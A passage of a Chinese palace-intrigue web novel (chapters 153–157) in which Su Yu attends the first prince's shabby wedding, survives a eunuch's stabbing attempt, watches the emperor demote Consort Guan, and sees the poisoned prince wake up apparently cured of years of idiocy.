苏钰听得点点头,“我也有此打算,代我谢谢他。” “姑娘客气。”婆子笑着说。 谷夫人还在等着,苏钰也不留客,让绿川送人出门。 苏钰坐车到了乐道堂,叶氏也在。 关贵妃懿旨上只说不准谷夫人去,没说不准叶氏去。 叶氏进宫的时候很少,也就每年朝贺,多个人陪着,总比一个人强。 “刚才薛迟派人来,他会陪我一起进宫。”苏钰说着。 谷夫人并不意外,却没作声,看向苏钰时,眼中透着几分担忧。 叶氏忍不住说着,“这,是不是有点……” 薛迟是昭华公主的前未婚夫,现在昭华公主百天未过,薛迟就公然陪着苏钰参加宫宴。 这样刺激关贵妃,关贵妃真不会当场发疯吗。 苏钰也想到了,却不在意。 关贵妃对她之恨意,不会因为薛迟没陪着而减少。 也就是砍成八块与扒出抽筋的区别,区别并不是很大。 而有了薛迟在身侧,她的安全系数直系上升。 两厢对比之下,肯定是薛迟陪着她同行更好。 “也罢,既然薛大人与你同路,你们就去吧。”谷夫人说着,又看向叶氏,“年轻人的事情,让他们自己处理。” 叶氏听谷夫人也如此说了,只能点点头。 现在年轻人,都很生猛啊。 从乐道堂出来,苏钰也没闲着,派出家中管事跑了趟内务府,把这回婚礼的细节流程问出来。 皇子纳侧妃有常规流程的,而这回大皇子纳关倩倩,肯定不是常规流程。 大皇子秦铮己经二十岁,正常情况下,他早该得封号,分府娶正妃。 这个时候皇子纳侧妃,王妃操办,全部活动皆在王府进行。 而大皇子因为傻了,显庆皇帝几乎忘了这个儿子,别说亲王了,连郡王都不是。 王府更是没有的,一直住在北五所,还被宫人虐待。 正妃更是没有的,先纳侧妃,后娶正妃,这在大周朝还是挺罕见的。 这种特殊情况下,大皇子的婚礼由宗人府全权操办。 花轿怎么进门,怎么行礼,按什么仪式迎亲,都得宗人府来定夺。 当然,也有可能随便操办,乱来一通。反正大皇子是个傻子,侧妃关倩倩一看就是得罪人了,才被赐婚给一个傻子,还是当侧妃。 苏钰担心的就是乱来一通,有规矩还不怕,大家都按流程走。 没有规矩,随便乱来才可怕。 所以,在进宫之前,一定要在宗人府拿到婚礼流程,心里先有个底。 当天晚上管事就把策划书拿到了,薄薄一张纸。 苏钰想到这婚礼肯定简单,但没想到如此简单。 大皇子住在北五所,婚礼就在北五所进行。没有迎亲过程,因为是侧妃。 拜堂这种正室才有的仪式,自然与侧妃无关。至于给正妃敬茶,都没有正妃,无人可敬。 宗人府索性一步到位,辰时,一顶花轿把关倩倩抬进北五所,嫁妆也同时拉进宫。 关倩倩安置在东厢房里,嫁妆放到后罩楼,所有仪式皆无。 宴席也摆在北五所,午时开宴,吃完散场,婚礼结束。 “除了上面写的,可有打听到什么?”苏钰问管事。 关倩倩的花轿辰时就进北五所了,宾客要在花轿进门前到。 宴席却在午时才开,中间隔了这么久,关贵妃不作妖才怪。 管事摇摇头,“宗人府并没有把这回的喜事当回事,随便一个小官操办的。我使了银子,与他说了许久,他向我再三保证就这些。我看着不像是说谎。” 宗人府是为了皇族服务,里面的官员皆是宗室,说起来是皇亲国戚,实则血脉太远,无权无势,每月混吃等死。 这样的宗亲,别说他使了银子,就是不使银子,也不敢撒谎。 苏钰轻叹口气,宗人府操办的越简单,中间间隔的时间越长,关贵妃越容易使手段。 不过提到宗人府,苏钰突然想了起来,“宗人府是在准备昭华公主的丧事吧。” 说来也是怪,昭华公主殁了这么久,宗人府没设灵堂,也没通知各府吊唁。 就是祖母、父母还在,儿女的丧事不宜大办,尤其是昭华公主也未成亲。 但公主的丧仪,该有的还得有。尤其是关贵妃就这么一个女儿,肯定得风光大办。 管事摇摇头,言事间也透着不解,“闲聊时我也问起此事,那人说昭华公主的丧事早就办完了,棺椁抬入皇陵,丧事就完了。” 苏钰听得目瞪口呆,怎么也没想到嚣张跋扈的昭华公主后事竟然如此草率。 关贵妃是亲妈,关太后也不可能在丧事上找茬,那只是能显庆皇帝。 显庆皇帝对关家的不满,竟然到了这种程度。连最基本的父女亲情,都全然不顾了。 及至三天后,苏钰早早起床。 简单梳洗后吃早饭,时间还算充足,苏钰吃的却很快,努力吃,甚至吃的有点撑。 今天会是一场硬仗,吃饱了才有力气。 吃完洗了手,苏钰在梳妆台前坐下,嬷嬷上前给她梳妆。 苏钰也是刚知道,就在五天前,她院里添了两个嬷嬷,是苏略的安排。 都是宫里的老人,年龄大了,主子给了恩典放出来,对宫中事务十分熟悉。 以后苏钰进出皇宫的衣着打扮,全由她们做主。空闲时教导苏钰宫中规矩,连带着管理听雨轩的丫头婆子。 苏钰觉得没必要,她连诰命都没有,出入宫廷的次数有限,学宫中规矩更没必要。 又想到家里也不缺钱,多两个嬷嬷也无所谓。 从小到大,苏略给她各种安排,她也习惯了。 “姑娘,薛大人到了。”婆子进门传话。 苏钰己然收拾妥当,深吸口气站起身。 第154章 第 154 章 坐车到二门,丫头…… 坐车到二门, 丫头扶着苏钰下了车,薛迟己经在了。 公主府的豪华车停在他身侧,还有公主府的嬷嬷和太监。 苏钰明白,这趟进宫是她跟着薛迟, 车都坐公主府的。 薛迟看见苏钰, 脸上露出温柔的笑容。 苏钰笑着迎了上去, 原本还有点紧张的心情, 顿时舒缓了许多,有薛迟在, 确实让她安心。 “谢谢你陪我进宫。”苏钰笑着说。 “对我不用说谢谢。”薛迟说着,上前牵起她的手,引她上了车,又轻声安抚苏钰道:“莫要担心,一切有我。” 车驾缓缓驶出二门, 一路前行,不多时便到了皇宫。 依旧是从西华门进,却未在宫门口下车, 只是稍作停顿, 随车的太监向守卫说明情况后, 车驾径直驶入皇宫。 苏钰心中了然,估摸着这辆车驾乃是晋阳长公主专属的。长公主的车驾, 在皇城之中自是可以自由行走。 一路畅通, 行至北五所,缓缓停稳。薛迟先下了车,而后扶着苏钰下车。 北五所是皇子们的所住,如今只有大皇子居住,别说宾客了, 连来往的太监都看不到。若不是门口挂着红绸,全然看不出今日有喜事。 院门半掩着,门轴似乎生了锈,发出嘎吱嘎吱的声响。 公主府的太监上前推开门,苏钰跟着薛迟走进内院,更是超乎想象的破败。 地上的石板破碎不堪,缝隙间长出了杂乱的野草。角落里堆放着一些破旧的杂物,落满了灰尘。房屋的门窗也有些破损,糊窗的纸也有多处破洞,随风飘动。 苏钰心中感慨,早知晓大皇子在宫里没有地位,却未料到一个皇子竟活成这般模样。 “新娘子,新娘子……” 嬉笑之声从正房传来。 很快,正房门开了,吉服穿了一半、头发乱糟糟的大皇子冲了出来,身后跟着一个老太监,不耐烦说着,“吉时就要到了,再不安份些就不给饭吃。” 苏钰不禁挑眉,还是这个老太监,上回卖了大皇子,现在竟然还是他在侍侯。 大皇子看到苏钰,咧嘴大笑,直冲冲的就要撞上来,嘴里喊着,“新娘子,我要新娘子。” 苏钰刚想闪身躲开,就被薛迟拉到身后,他眉头微皱,单手制住大皇子,又训斥跟着的老太监,“你们就是这么侍侯主子的吗。” 大皇子挣扎着,按理说一个成年男子力气应该很大的,没想到竟然全然挣脱不开。 老太监看着吓坏了,连忙跪下来,磕头说着,“薛大人饶命,这院里只有老奴一个人侍侯,实在顾不过来。” 正说着,又有管事太监过来,本想开骂的,但看到薛迟,马上改了脸色。 薛迟这才放开大皇子,语气中带着不悦,“宾客马上就要到了,你们就是这么当差的吗。” 管事太监连带着小太监一起跪了下来,连声认错,十分惶恐的模样。 一通磕头谢罪后,几个太监连拉带拽,终于把大皇子拉进了正房。 苏钰旁边看着,心情却十分诡异。 薛迟就算是深心圣心,又是晋阳长公主的儿子,但宫里的事,尤其是宫里的管事太监,按理说不该这么怕他。 不多时,又有宾客上门,稀稀拉拉几个人,其中有苏钰认识的,是关家的女眷。 如此破败的院落,连坐的地方都甚少。太监给薛迟和苏钰搬来了椅子,安排了位置。 其他女眷也跟着坐下来,看着如此破败的庭院,脸上皆是震惊之色。 实在想找不到,皇宫之中竟然还有这样的地方。 没人交谈,明明是来参加喜宴的,众人神情却都绷的很紧。 这样的皇子住所,让众妇人开了眼。 宾客里有与关倩倩父母交好的,看到这样的住所,心里也是十分难受。 苏钰感慨之余,却是戒备四周,不到十个宾客,基本都是关家人。 北五所又处在皇宫角落处,大门一关,关贵妃直接派人刺杀都有可能。 眼看着吉时到了,却连鞭炮声都没有。 也不知道太监们做了什么,原本叫嚷着的大皇子,也没了动静。 就在一片寂静之时,脚步声从院门口传来,一抬四人小轿被小太监抬起来,轿身十分朴素,只有四角挂着彩球,轿旁连个喜娘都没有。 轿子落地,老太监上前打起轿帘,高声喊着:“请侧妃下轿。” 新娘子顶着盖头下了轿子,亦无喜娘搀扶。 另有太监把吉服穿得乱七八糟的大皇子拉出来,胡乱把彩球塞到他手里,随即大声喊着:“礼成。” 两个太监,一个拉着发癫的大皇子,一个扶着盖着盖头的新娘子,连拉带扯地送到东厢房。 苏钰看的目瞪口呆,若不是亲眼所见,怎也想不到这竟是皇子的婚礼。 原本对关倩倩还有几分不喜,此时全部化成了同情。 这般日子,是一天都过不下去。 不,眼前的情况,关倩倩能否活过今天都不好说。 如此草率的婚礼,不止苏钰目瞪口呆,参加宴席的众妇人也是瞳孔震惊。 高门大户里,纳个妾还得摆上几桌酒,这皇子侧妃是有品级要上宗人府玉碟的,结果婚礼连地主家纳妾都不如。 就在众人口瞪之即,管事太监高声道:“传贵妃娘娘懿旨,请众人原地休息,准备开席。” 小太监们手脚麻利,不一会儿便抬来桌椅,宴席竟是摆在这院子里。 此地若不是皇宫,眼前的情况众人怕是早就寻个由头走了。 没人敢走,院里诸多妇人面面相觑,虽心中不愿,却也只能坐着等吃席。 桌椅摆得极快,主要是人少。总共不到十个客人,一桌挤挤就坐下了。 现在摆了两桌,倒是可以坐的十分宽松,只是没人敢坐。 随后茶水点心也跟着上来了,不管是餐具还是食物皆十分精致,有几分宫宴的模样。 只是这席面摆在这样破败的院子里,越发显得诡异,无人敢吃,众人皆盼着赶紧离开这是非之地。 苏钰更是碰都不敢碰,薛迟凑近她,轻声安慰道:“不用担心,我有安排。” 苏钰笑着点点头,确实不太担心。 薛驸马是羽林军的老大,谢无衣就是不在京城,薛驸马估计也能调动建章骑营。 不管什么时候,足够强的武力都能给人安全感。 此时她只是好奇,关贵妃到底想做什么? 总不会,真的大门一关,就要刺客动手吧。 二人这般小声交谈着,苏钰的心情好转了许多。 正说话间,管事太监突然朝苏钰走来,口中唤着:“苏姑娘。” 苏钰正欲开口询问何事,却见那太监猛地抽出暗藏的匕首,直刺向苏钰。 如此近的距离,管事太监本以为肯定能成功,却未料苏钰反应极快,侧身一闪。 薛迟也瞬间出手,一把擒住管事太监的手腕,用力一扭,那太监吃痛,手中利刃落地。 薛迟顺势将其制住,动作干净利落,毫不拖泥带水。 “来人,有刺客。”薛迟大声喊着。 事情发生的太快,坐等开席的众妇人原本还不知道怎么回事。 薛迟这么一声高喊,众妇人都吓得一哆嗦。 她们只是受邀吃席而己,难道小命都要交代在这里。 随着薛迟的一声大喊,建章营骑的人马随之而来。 一时间,场面越发混乱。众人惊慌失措,有的起身欲逃,却又不知该往何处去;有的呆坐在原地,吓得脸色惨白。 苏钰站在薛迟身侧,心中仍有余悸。 她暗自思忖,这管事太监一直在指挥忙碌,再加上关贵妃还没露面,她心中本已放松了些,却不想在这个时候突然出手,确实让人防不胜防。 方法虽然简单粗暴,成功率却不低。 “严加审问。”薛迟把管事太监交给建章营骑的人带走。 管事太监反倒是不怕了,突然大声喊着,“薛迟,你杀我全家,我恨不得喝你的血,啃你的肉。” 正高声喊着,管事太监突然嘴角流血,随后眼晴鼻子耳朵皆有鲜血流出,死状十分凄惨。 建章营骑的侍卫赶紧上前检查,掰开嘴发现毒药早藏于牙缝。 他是趁着刚才叫骂的时候,咬破毒囊,自尽了。 七窍流血,死的不能再死。 薛迟也不在意,吩咐着侍卫,“尸体拉出去处理了。” “是。”两个侍卫应着,拖着尸体走了。 如此变故,院里的妇人直接晕了两个,还清醒的几个神情也都不好了,瑟瑟发抖的坐着。 至于原本在院中侍侯的小太监,全部跑在地上,诚惶诚恐。 薛迟全然不理,吩咐建章营骑的侍卫很快退下。 稳住局面后,薛迟对众人说着,“皇宫内苑出现刺客,婚礼暂停,宾客各自回府。” 有人都离开,他也可以趁机送苏钰出宫,目前的皇宫内苑还不够安全。 院中的众妇人是巴不得赶紧走,晕倒的两个,被同伴扶着,连道谢行礼都顾不上,只想赶紧离开。 她们会来参加今天的婚礼,是关贵妃传了懿旨的,都是自己人,至少嘴巴都很紧。 但即使是自己人,但吃席吃成这样,她们也都怕了。 可就在这时,“关贵妃驾到!” 太监高声喊喝着,所有人都只得站住。 第155章 第 155 章 关贵妃盛妆而来,前呼…… 关贵妃盛妆而来, 前呼后拥,除了几个贴身太监,更有提刀侍卫跟随在侧。 瞧见苏钰与薛迟,关贵妃眼里恨得冒出火来, 咬牙切齿说着, “你与昭华的婚事是皇上指婚, 现在昭华尸骨未寒, 你就公然与苏钰出双入对,如何大逆不道, 该当何罪。” 薛迟面不改色,从容道:“既是皇上指婚,我就是有不对之处,也该皇上处罚,不劳贵妃过问。” 如此硬杠, 更让关贵妃怒火中烧,眼中的怒火似要将眼前的两人烧成灰烬。 关贵妃转头看向苏钰,恨声道:“那刺客也真是无能, 这样都杀不了你。” 此话一出, 基本就是承认刺客是她派的。 薛迟脸色微沉, 明知质问,却开口质问关贵妃:“身为皇妃在后宫公然行刺臣子之女, 置国法与何地?” 关贵妃冷笑一声, 眼中的悲愤如同决堤的洪水,“国法?哼,你们害死我的昭华,还跟我谈国法?苏钰,就是你害死了我女儿的!” 苏钰很想辩解一句, 那天在关家,她确实与昭华公主起了冲突,但也就是嘴上说了几句,昭华公主之死与她没有任何关系。 但关贵妃此时的模样,不如闭嘴不言。 苏钰的沉默,在关贵妃看来就是一种默认。 关贵妃的声音颤抖着,泪水在眼眶中打转,指“我的昭华,还不到十八岁。” 说到昭华公主之死,关贵妃慈母之心尽显,对苏钰的愤怒更甚。 “苏钰,你该死!” 关贵妃声音凄厉,眼中满是悲愤。 苏钰没接话,也不生气,只是静静地看着这样的关贵妃,心里浮起一抹异样感。 她想到昭华公主死的那天,也是这样,脾气异常暴躁,行为都很古怪。 当天昭华公主就死了,然后,关贵妃又变成了这样。 她又能活多久。 关贵妃心中的愤怒似乎再也无法抑制,大声喊着:“关门,把院里的人都杀了!” 此言一出,苏钰和薛迟还没反应,还没走出门的众妇人先傻了。 她们都是姓关的,受关贵妃邀请来吃席。现在席没吃上,人头都要保不住了。 就在院门就要关闭之时,就听外头传来太监高声喊着:“皇上驾到!” 院中吓得半死的众妇人终于舒了口气,连忙跪下接驾。 皇上来了,总不至于任由关贵妃发疯。 显庆皇帝走到门口时,正好听到关贵妃发布杀人命令,想到薛迟还在院中,顿时怒火中烧。 怒气冲冲进来,走到关贵妃面前,二话不说,扬起手狠狠甩了关贵妃一耳光。 那耳光声清脆响亮,关贵妃的脸瞬间肿了起来,整个人倒在地上。 显庆皇帝怒目圆睁,手指着关贵妃大骂:“贱人!安排杀手刺杀,还欲屠尽院中之人,朕的皇城,不是你能任意妄为的地方。” 关贵妃被打肿了脸,倒在地上,抬头看着显庆皇帝的神情却很是不服气。她捂着脸,却哭泣指责显庆皇帝不管女儿死活。 “皇上,昭华死得那般惨,您却不闻不问。她的丧仪更是简单潦草,您好狠的心!” 关贵妃越说越伤心,哭的花容失色。 她嫁给显庆皇帝,虽然是为了权势,不是图感情的。但十几年夫妻,孩子都生了两个,怎么也没想到显庆皇帝如此狠心。 显庆皇帝却冷声道:“昭华公主自作自受,落到这样的下场是她活该。” “传朕旨意,关贵妃不顺圣意,降为贵人,迁居别宫,闭门思过。” 贵妃降为贵人,迁居别宫,还闭门思过。 这是打入冷宫的好听点说法,要不是关太后还活着,关贵妃只怕人头不保。 跪着的一众人等瑟瑟发抖,薛迟神态自若,苏钰却是低着头。 虽然关贵妃恨她恨的莫名其妙,刚刚还经历了刺杀,但关贵妃现在的模样,她也高兴不起来。 昭华公主虽然差劲,但连身后事都不给女儿的爹,也着实冷血。 关贵妃早就在哭的不能自己,半倒在地上,皇上身边的太监上前去扶关贵妃。 小声提醒关贵妃,“贵人,快谢恩吧。” “哈哈哈……”关贵妃扬天大笑,却比哭的还难看。 被太监扶着,关贵妃跪了下来,声音凄凉中带着透着绝望,“谢主隆恩。” “快滚,朕一刻都不想再看到你。”显庆皇帝怒声说着。 太监扶着关贵妃起来,正欲离开时,就听正房里一声尖叫,老太监喊着:“大皇子,你怎么了。不好了,大皇子被刺了。” 众人闻言,只得一片茫然,只觉得今天的事态走向实在诡异。 老太监喊的是被刺,显庆皇帝赶紧后退。 “保护皇上。” 薛迟大声喊着,羽林军随之出现把显庆皇帝团团围住。 显庆皇帝这才舒口气,薛迟起身道:“臣不才,想去查看屋内情况。” 显庆皇帝连连点头,“快去。” 薛迟站起身,又伸手扶起苏钰,小声说着,“一起去看看。” 薛迟快步进屋,苏钰也紧跟着进去。 进到屋里,苏钰看到屋内环境,虽然有心理准备也惊呆了。 屋内几乎没有像样的家具,桌椅十分破旧,有的桌子腿还缺了一块,用石头垫着。 墙壁斑驳,似乎随时都会掉落墙皮。床上的被褥也很单薄,一看就是许久没有更换过了。 大皇子躺到床上,晕迷不醒,口吐白沫。老太监守在他身侧,惊恐万分,探着鼻息。 新娘子关倩倩早就吓傻了,盖头己经掀了,缩在房间角落里,看到薛迟和苏钰进来,连忙摇着头说:“不是我做的,我什么都不知道。” 她真的什么都不知道,她一直盖着盖头坐在床边,老太监大喊的时候,她才知道大皇子出了状况。 “来人,请御医来。” 薛迟高声吩咐着,跟着小太监连忙应着。 苏钰心中暗自思忖:大皇子的症状像是中毒了,但谁会给大皇子下毒呢? 一个傻子的皇子,落魄到住这样的地方,谁会杀他呢? 苏钰皱着眉头,对老太监说:“公公,你且仔细说说,大皇子之前可有什么异常?” 老太监颤声道:“回姑娘,大皇子一直好好的,今日成亲,也没什么异常啊。突然就变成这样了,老奴也不知是怎么回事。” 他是侍侯大皇子的,虽然没什么好心,但也没想过让大皇子死。 薛迟稳住局面后,这才去回禀显庆皇帝。 显庆皇帝得知屋里没有刺客,放宽了心,对于大皇子的死活也不在意,只让薛迟处理。 薛迟答应之时,却又说:“大皇子突然中毒,只怕与关贵……人有关,臣想关贵人留下协助调查。” 关贵妃被太监扶着,正欲回去,听到这话,大声怒斥薛迟:“你冤枉我!” 薛迟不紧不慢地分析道:“关贵人给大皇子赐婚,娶的还是自己的娘家侄女,连婚礼一应事务,都是关贵人操办。大皇子又恰巧在婚礼上出意外,此事太过巧合,不得不让人怀疑。” 显庆皇帝对于大皇子遇害并不在意,但有借口收拾关贵妃,他觉得很好。 这些年被关太后压着,这口恶气终于有机会能出来了,自然不想关贵妃好过。 “薛迟,朕命你彻查此事,关贵人必须配合,毒害皇嗣是大罪,若是与关贵人有关,定要重罚。”显庆皇帝冷着脸说着。 “皇上要罚谁?” ” 突然一句,是关太后到了,贴身大太监海公公扶着她。来的匆忙,人手没带足,但哪怕身边只有一个人,依然气势不减。 院里的众人一直跪着,显庆皇帝没说免礼,自然是一直跪着。 现在关太后来了,就继续跪着。 关太后语气强硬,眼神中透露出威严,“皇上,毒害皇嗣是大罪,薛大人一人查案只怕不妥,还需要宗人府在旁协助才妥当。” 显庆皇帝心里对关太后还是有几分怕了,却是皱起眉头,“朕知道关贵人是太后的侄女,但事关皇嗣,关系重大,不可偏袒。” 双方僵持不下,争执之时,小太监带着御医来了。 因为是医治皇子,情况复杂,御医来了三位,进院后先向关太后,显庆皇帝,关贵妃磕头行礼。 “这些礼数都免了,速去给大皇子诊治。”关太后说着。 “是。”三个御医齐声说着。 三位御医赶紧进屋,一番诊脉后,三人小声商议着。 大皇子确实是中毒了,不过剂量很小。大皇子虽然脑子是傻的,但身体是健康的,又正值壮年。 晕迷是暂时的,不如弄醒了问一下身体情况,也好开药方。 大皇子在宫里虽然活的还不如一条狗,但眼前情况复杂,显庆皇帝都在外头了,救人肯定是第一要务。 三人一起动手,大皇子很快清醒了。 “大皇子,您觉得怎么样?”御医小声问着。 大皇子显得十分茫然,原本痴傻的模样竟然变得正常了。 他眼神清澈,坐起身来,看着周围的人,露出疑惑的神情。“你们是……” 大皇子的声音清脆有力,与之前的痴傻模样判若两人。 不傻了,恢复正常了?? 御医们面面相觑,想到世上还有这样的医学奇迹,搞不清楚原由,却不能不回报。 其中一个御医出屋,向关太后和显庆皇帝报喜:“大皇子神智恢复了。” 第156章 第 156 章 “大皇子是中毒…… “大皇子是中毒了, 幸好剂量很小,反而因祸得福,恢复了神智。” 御医跪地说着。 此言一出,如平地惊雷, 在场所有人都惊呆了。 没人关心大皇子的死活, 但是傻了十几年人, 突然间恢复神智, 堪比死人复活。 关贵妃本正伤心欲绝,泪水如断线之珠, 此刻却戛然而止,瞪大了眼睛,满脸的不可置信。 显庆皇帝亦是被震住了,呆立当场,半晌回不过神来。 薛迟眼中闪过一丝惊讶, 却马上换上笑脸,对显庆皇帝说:“皇上,这是大喜事啊, 大皇子能因祸得福, 肯定是今天沾染到皇上的福气所致。” 显庆皇帝听了, 微微眯起眼睛,脸上露出得意之色:“朕就说, 朕乃天子, 自有天佑。这大皇子能恢复,定是朕的福泽庇佑。” 跪着的御医也连忙跟着附和:“是皇上洪福齐天,才有此等祥瑞之事。” 关太后身侧的海公公向小太监使了个眼色,小太监赶紧扶起关贵妃离开。 等关贵妃离开后,关太后才缓缓开口:“大皇子既己恢复, 皇上与哀家也该进去看看他。” 薛迟面上不动声色,恭敬地说道:“太后娘娘,大皇子痴傻会好,是因为魂魄归位。皇上乃是真龙天子,太后娘娘更是凤凰真身,威压强大。这时候冒然去见大皇子,只怕会让大皇子刚回归的魂魄消散,反而对他的恢复不利。” 如此一本正经的胡说八道,跪着的众人都愣了一下。 但这话显庆皇帝喜欢,他喜欢玄学,朝廷大事都得靠算卦决定。 薛迟一本正经说的这些,想着也有道理,又是龙又是凤的,冲散了大皇子刚回归的魂魄就不好了。 关太后微微眯起双眼,审视着薛迟:“亏得薛大人还是读书人,竟然是如此认为的。” 薛迟恭敬地回道:“太后娘娘,臣不敢妄言。大皇子痴傻了十几年,突然就恢复了,其中原因本就不可言说。此事更关系到大皇子的安危,臣更不敢妄言。” 说着,薛迟又看向显庆皇帝,“皇上圣明,自会明断。” 一席话,很得显庆皇帝的心意。 显庆皇帝全然信了薛迟的胡说八道,便对关太后说:“母后,为了大皇子的身体,我们都该速速离开。” 说着,也不管关太后,带着人就走了。 临走前又吩咐薛迟料理后续。 关太后心中恼怒,却也无奈。 她意味深长地看了一眼薛迟,心中盘算着:此时若走,今天的目的达不到。 但要是不走,薛迟若是事后对大皇子下手,就可以推托说是大皇子魂魄不稳,反正这种鬼话显庆皇帝是信的。 权衡再三,关太后还是决定先离开。 只要大皇子恢复了,戏台才能搭好。 临行时,关太后看向薛迟,意有所指地说:“要他好好照顾大皇子。” 薛迟恭敬地回道:“太后娘娘放心,臣定当尽心尽力。” 随着显庆皇帝和关太后的离开,原本拥挤的小院顿时轻松了许多。 腿都要跪断了的众妇人,早己不知道该如何反应。直到薛迟开口,让她们各自回府。 听到薛迟的话时,一众妇人抬头时都有些茫然。 吃个席而已,这么一波三折的,差点以为自己小命都不保了。 这可真是惊心动魄。以后这皇家的宴席,可不敢随便来了。 众妇人互相搀扶着起身,往走的时候都格外小心翼翼,生怕小命不保。 等到这些人全部离开,薛迟吩咐一通,这才走向屋里。 苏钰一直在屋里,观察屋里三人的动向。 老太监的惊讶错愕不像假的,他是贴身侍侯大皇子的,毒杀主子是要命的。 新娘子关倩倩吓得魂都没有了,一直缩在角落里。 大皇子躺在床上,口吐白沫,更不像是假的。 三个御医更不是装的,主要是小小御医也不敢这么装。而痴傻了多年的大皇子,就这么好了,这也太不可思议。 清醒的大皇子看向苏钰,眼光清澈中带着疑惑:“你是苏姑娘?” 苏钰意外,问道:“大皇子认识我?” 她与大皇子确实见过,还是拜关贵妃所赐。 但那时候的大皇子是傻的,还被关贵妃下了药,没想到他竟然都记得。 大皇子微微点头:“自然记得,苏姑娘曾对我有恩。” 此时,御医上前拦住试图从床上下来的大皇子:“还请大皇子躺下,臣给您再仔细诊脉。” 大皇子只得躺下来。 御医们又是一番诊脉,低声商量一通,终于商量出一个方子。 现在的大皇子也就是身体有点虚,那点微末的毒素都不用解。 苏钰旁边看着,看向大皇子时,神情意味深长。 回想上次与大皇子见面的情况,各种细节现在想来,当时的大皇子是真傻还是假傻,有待推敲。 只是大皇子是真傻还是假傻,与她无关,她也懒得去想。 薛迟吩咐完外头,这才进到屋里。 先走进看向大皇子,大皇子眼中闪过一丝戒备。 薛迟笑着向大皇子见完礼,大皇子笑着,有点卑微,显得十分人畜无害。 薛迟先询问御医大皇子的情况,御医一五一十,每个细节都说了。 “大皇子刚刚恢复,几位大人一定精心照顾。”薛迟说着。 三位御医连声说是。 薛迟听得点点头,这才放三人回去,开方子煎药。 等御医出了门,薛迟又对苏钰,略带歉意说着:“我还有事,派人送你回去。” 本以为他陪着苏钰进宫,一定能平安无事。 要说结果,确实是平安无事,只是这一波三折,他也抽不时间亲自送苏钰回去。 皇宫不比外头,实在凶险的很。 苏钰并不介意,她也没那么柔弱,笑着说,“你忙你的。” 苏钰说着,却是看向缩在角落里,几乎被众人遗忘的关倩倩。 身上的喜服早就乱成一团,倒是没有哭,主要是惊吓让她哭都哭不出来。 注意到苏钰看向她,关倩倩马上喊着,“苏钰,以前的事都是我的错,我道歉,你帮帮我好不好。” 关倩倩知道给大皇子当侧妃会很惨,但她真没想到会这么惨,就这样的屋子,她要如何活下去。 就是大皇子现在不傻了,但皇宫不比后宅,后宅争一争斗一斗还没什么,失宠最多也就是进佛宫。 而皇宫里别说一个皇子侧妃,就是皇子不明不白死的也多了。 她是真的怕了,尤其是今天,出了那么多事,都没人看她一眼,只有苏钰看了她。 苏钰微微一怔,马上明白,关倩倩这是病急乱投医了,也不管是谁,就当是救命稻草试一试。 只是这是皇宫内苑,她刚才才被刺杀过,实在无能为力。 关倩倩己到如此境地,说安慰的话不但没有意思,更像是嘲讽。 没说话,只是摇摇头,她实在无能为力。 关倩倩原本的一丁点希望,顿时破灭了。 又看苏钰一身衣衫靓丽,身侧又有薛迟这样的男子相伴,将来必有无限光明的前程。 而她呢,衣食堪忧,性命不保。 为什么同样为京城贵女,她就落得这个下场。 来时坐的马车很快出现在院门口,薛迟看着苏钰上了车,又派出自己的心腹太监随行,还有建章营骑的侍卫随侍在侧。 一个时辰后,薛迟听到回报,“苏姑娘己平安回到苏府。” 薛迟这才放下心来,目光落到卷宗上,心思却完全不在。 这个时候大皇子恢复神智了,巧的很呢。 不要紧,不管关太后如何布置,计划继续推进,不能因为一个傻了十几年的大皇子就乱了阵脚。 大皇子恢复神智的消息,瞬间传遍京城。 一个傻子皇子纳侧妃的婚礼,去吃席的贵妇虽然少,但都是从头看到尾。 大家都是长着嘴,而且大皇子傻了那么久,突然间不傻了,事情根本就瞒不住。 苏钰做为近距离围观所有人,自然闲不下来。 当天下午就被叫到乐道堂,苏震岳,谷夫人,苏天华,苏天佑,叶峰,苏邑都在。 苏钰讲述了全过程,力求把每一个细节都讲清楚。 说到被刺杀时,苏震岳仔细询问她过程,谷夫人又细问她有没有受伤。 一众亲友,七嘴八舌的问着,苏钰再三表示没事,既没有身体受伤,也没有精神受创。 “关贵妃的刺杀手段是不是太……”叶峰忍不住说着。 宴无好宴,关贵妃点名邀请苏钰,肯定没好事。 但这么拙劣的手段,当面搞暗杀,他忍不住想阴谋论。 谷夫人轻叹口气,说着,“贵妃娘娘行事素来坦率。” 当面刺杀,别人干不出来,关贵妃是能干出来的。 苏天华皱眉,“谁会给大皇子下毒?” 所有人都在讨论大皇子恢复神智,却没人说恢复神智之前的一个环节。 大皇子中毒。 一个傻了十几年,吃不饱,穿不暖的皇子的,谁会给他下毒。 说是浪费毒药都不夸张。 “这都是排练好的吧。”苏震岳不耐烦说着。 他是武将,上阵杀敌他在行,但后宫的这些弯弯绕绕,只是想想就觉得烦人。 苏钰认同的点头,“我以前见过大皇子,他有可能是在装傻。” 苏天佑神情有些动容,“在皇宫里装十几年,那是挺不容易的。” 皇宫是人精的扎堆地,装傻十几年,心计手段皆不一般。 谷夫人目光幽远,“大皇子是长子啊。” 长子,哪怕是庶出,都是有份量的。 第157章 第 157 章 显庆皇帝着令薛迟料理…… 显庆皇帝着令薛迟料理后续, 三日之后,薛迟公布大皇子中毒的真相。 是大皇子身边的老太监下毒,因为被安排侍侯傻了的大皇子,住所简陋, 活又很重, 多年来老太监怨怼极深, 就想毒死大皇子。 正巧大皇子成亲, 侧妃进门,借机栽赃给新进门的侧妃关倩倩。 查出真相后, 那老太监见事情败露,当场撞墙而亡。 至于毒药从何处来,是否有同党,显庆皇帝根本就不过问,因犯人已死, 案子便也草草了结。 经御医们精心诊治,大皇子的身体日益好转,住所也换至北五所一处没那么破旧的三进小院。伺候的人、日常用度, 皆按照皇子标准, 一应事务全由薛迟安排。 又过几天, 钦天监上奏疏,经各种占卜后表示, 大皇子魂魄归位, 神魂己稳。 十日后就是黄道吉日,大皇子可以正式拜见显庆皇帝与关太后。 显庆皇帝看着奏疏,薛迟正在身旁,此时进言:“父王乃是真龙天子,占卜术更是天下第一, 钦天监那三脚猫的功夫,竟然也来卖弄。” 钦天监的正使死了,换上来的依然是关楚河的人。 显庆皇帝爱好玄好,关楚河便在钦天监下功夫。 显庆皇帝微微颔首,神情甚是得意,“迟儿说的是,这等大事还是得自己算。” 因为重视,显庆皇帝每次起卦的排场都极大。 又是焚香又是沐浴,有些日子甚至还要斋戒。 如此折腾了一个多时辰,显庆皇帝才开始占卜,连占三卦后,脸色十分古怪。 薛迟瞧着皇帝神色,小心翼翼地旁敲侧击问道:“父王,这三卦可有不妥?” 